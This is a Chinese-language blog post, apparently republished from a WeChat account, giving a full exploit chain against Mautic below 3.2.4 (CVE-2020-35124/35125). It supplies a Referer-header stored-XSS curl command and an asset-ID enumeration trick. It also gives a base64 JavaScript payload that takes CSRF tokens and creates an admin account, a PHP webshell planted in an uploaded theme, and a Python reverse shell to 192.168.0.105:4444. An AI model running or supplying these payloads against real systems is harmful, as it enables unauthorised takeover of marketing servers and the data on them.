Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

  • A+
所属分类:代码审计
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
点击蓝字·关注我们
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
全文 1900 字,预计阅读时间 5 分钟
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

Mautic

全球使用最广泛的开源营销自动化软件。在分析它在Github上的开源代码时,找到了一条未授权存储型XSS,到RCE的利用链。

Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

影响版本

< 3.2.4
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

Shodan搜索

html: Mautic


Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

挖掘XSS

Mautic中有很多复杂的东西,也导致存在很多潜在的攻击面。


我们发现在 查看报告 -- 下载所有资产 页面,会将请求头中的Referrer字段展示到页面上


Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)


这里就是XSS的漏洞点

curl -o test.pdf -v 'http://192.168.0.116/asset/1:testpdf' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H $'Referer: http://<img/src="doesnotexist.jpg"onerror="eval(window.atob('YWxlcnQoJ3hzcycp'))">'


其中的base64解开就是

alert('xss')


P.S. 请求的资产一定得存在才行,这个问题很好解决,下面马上讲


当管理员查看所有资产时,就会触发XSS

Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

获取存在的资产地址

可以看到文件前都会又一个int型的id,唯一标识了某个资产

asset/1:testpdf


Mautic有个特性,当只请求这个id(无文件名)时,会自动跳转到对应资产

curl -v http://192.168.0.116/asset/1:*   Trying 192.168.0.116...* TCP_NODELAY set* Connected to 192.168.0.116 (192.168.0.116) port 80 (#0)> GET /asset/1: HTTP/1.1> Host: 192.168.0.116> User-Agent: curl/7.64.1> Accept: */*> < HTTP/1.1 301 Moved Permanently< Date: Sat, 16 Jan 2021 18:11:30 GMT< Server: Apache< X-Powered-By: PHP/7.3.25< X-Frame-Options: SAMEORIGIN< Vary: Cookie< Location: /asset/1:testpdf< Transfer-Encoding: chunked< Content-Type: text/html; charset=UTF-8< < ... TRUNCATED ... >


这样我们就可以对id进行遍历,返回301跳转的资产即可确定是存在的。

Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

利用XSS创建Admin权限的用户

有了确定的资产地址,和XSS入口,我们这时要利用XSS拿到后台管理员权限。


首先来看如何获取CSRF token

function getTokens() {    xhttp = new XMLHttpRequest();    xhttp.open('GET', '/s/users/new', false)    xhttp.send();    t=xhttp.responseText;    csrfToken = t.split('mauticAjaxCsrf')[1].split("'")[1].split("'")[0];    userToken = t.split('name="user[_token]"')[1].split('value="')[1].split('"')[0];    return [csrfToken, userToken]}


然后如何创建admin用户


function createUser(tokens) {    xcreate = new XMLHttpRequest();    xcreate.open('POST', '/s/users/new', false);    xcreate.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');    xcreate.setRequestHeader('X-CSRF-Token', tokens[0]);    payload='user%5BfirstName%5D=Mautic-IT&user%5BlastName%5D=User&user%5Brole%5D=1&user%5Bposition%5D=&user%5Bsignature%5D=Best+regards%2C+%7CFROM_NAME%7C&user%5Busername%5D=mautic-it&user%5Bemail%5D=mautic-it%40example.com&user%5BplainPassword%5D%5Bpassword%5D=test123&user%5BplainPassword%5D%5Bconfirm%5D=test123&user%5Btimezone%5D=&user%5Blocale%5D=&user%5BisPublished%5D=1&user%5Bbuttons%5D%5Bsave%5D=&user%5B_token%5D=' + tokens[1];    xcreate.send(payload);}createUser(getTokens());


最终的Payload

curl -o test.pdf -v 'http://192.168.0.116/asset/1:testpdf' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H $'Referer: http://<img/src="doesnotexist.jpg"onerror="eval(window.atob('ZnVuY3Rpb24gZ2V0VG9rZW5zKCkgewogICAgeGh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgIHhodHRwLm9wZW4oJ0dFVCcsICcvcy91c2Vycy9uZXcnLCBmYWxzZSkKICAgIHhodHRwLnNlbmQoKTsKICAgIHQ9eGh0dHAucmVzcG9uc2VUZXh0OwogICAgY3NyZlRva2VuID0gdC5zcGxpdCgnbWF1dGljQWpheENzcmYnKVsxXS5zcGxpdCgiJyIpWzFdLnNwbGl0KCInIilbMF07CiAgICB1c2VyVG9rZW4gPSB0LnNwbGl0KCduYW1lPSJ1c2VyW190b2tlbl0iJylbMV0uc3BsaXQoJ3ZhbHVlPSInKVsxXS5zcGxpdCgnIicpWzBdOwogICAgcmV0dXJuIFtjc3JmVG9rZW4sIHVzZXJUb2tlbl0KfQpmdW5jdGlvbiBjcmVhdGVVc2VyKHRva2VucykgewogICAgeGNyZWF0ZSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgeGNyZWF0ZS5vcGVuKCdQT1NUJywgJy9zL3VzZXJzL25ldycsIGZhbHNlKTsKICAgIHhjcmVhdGUuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC10eXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOwogICAgeGNyZWF0ZS5zZXRSZXF1ZXN0SGVhZGVyKCdYLUNTUkYtVG9rZW4nLCB0b2tlbnNbMF0pOwogICAgcGF5bG9hZD0ndXNlciU1QmZpcnN0TmFtZSU1RD1NYXV0aWMtSVQmdXNlciU1Qmxhc3ROYW1lJTVEPVVzZXImdXNlciU1QnJvbGUlNUQ9MSZ1c2VyJTVCcG9zaXRpb24lNUQ9JnVzZXIlNUJzaWduYXR1cmUlNUQ9QmVzdCtyZWdhcmRzJTJDKyU3Q0ZST01fTkFNRSU3QyZ1c2VyJTVCdXNlcm5hbWUlNUQ9bWF1dGljLWl0JnVzZXIlNUJlbWFpbCU1RD1tYXV0aWMtaXQlNDBleGFtcGxlLmNvbSZ1c2VyJTVCcGxhaW5QYXNzd29yZCU1RCU1QnBhc3N3b3JkJTVEPXRlc3QxMjMmdXNlciU1QnBsYWluUGFzc3dvcmQlNUQlNUJjb25maXJtJTVEPXRlc3QxMjMmdXNlciU1QnRpbWV6b25lJTVEPSZ1c2VyJTVCbG9jYWxlJTVEPSZ1c2VyJTVCaXNQdWJsaXNoZWQlNUQ9MSZ1c2VyJTVCYnV0dG9ucyU1RCU1QnNhdmUlNUQ9JnVzZXIlNUJfdG9rZW4lNUQ9JyArIHRva2Vuc1sxXTsKICAgIHhjcmVhdGUuc2VuZChwYXlsb2FkKTsKfQpjcmVhdGVVc2VyKGdldFRva2VucygpKTs='))">'


这时只需要等待管理员查看全部资产时,就可以触发我们的代码。下图可以看到演示,成功创建了admin权限的用户。

Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)


Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

RCE

Mautic在上传自定义主题 处有一个可以被利用的 文件上传点。


我们修改它自带的主题包,加入webshell,然后上传上去,这里使用的是这个

https://github.com/mautic/mautic/tree/features/themes/cards


加入名为 date.html.php 的 webshell

<?phpecho shell_exec($_GET['cmd'].' 2>&1');echo $view->render('MauticFormBundle:Field:text.html.php',['field' => $field, 'inForm' => (isset($inForm)) ? $inForm : false,'type' => 'date','id' => $id,'formId' => (isset($formId)) ? $formId : 0,'formName' => (isset($formName)) ? $formName : '',]);


zip压缩,命名为 bad-theme.zip


为了保证我们的webshell能够执行,首先要配置允许php文件被上传


Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)


上传恶意主题包


Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)


启用此主题


Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)


连接 webshell,成功


Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)


反弹shell


http://192.168.0.116/s/forms/edit/1?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.0.105%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B%27


Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

参考链接

https://www.horizon3.ai/unauthenticated-xss-to-remote-code-execution-chain-in-mautic-3-2-4/
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
END
Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)
免责声明

本公众号内的文章及工具仅提供学习用途,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。


好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(我不是Hacker):Mautic未授权XSS到RCE利用链(CVE-2020-35124 && CVE-2020-35125)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: